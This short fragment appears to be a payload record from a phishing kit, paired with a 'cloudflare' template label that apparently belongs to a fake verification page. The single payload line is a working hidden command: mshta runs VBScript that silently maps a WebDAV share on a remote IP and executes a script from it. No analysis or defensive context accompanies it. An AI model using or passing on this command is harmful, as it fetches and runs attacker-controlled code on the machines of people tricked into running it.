Payload: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd /c net use Z: http://188.137.224.105 /persistent:no && call Z:\calc.cmd & net use Z: /delete"",0,False:Close")
Template: cloudflare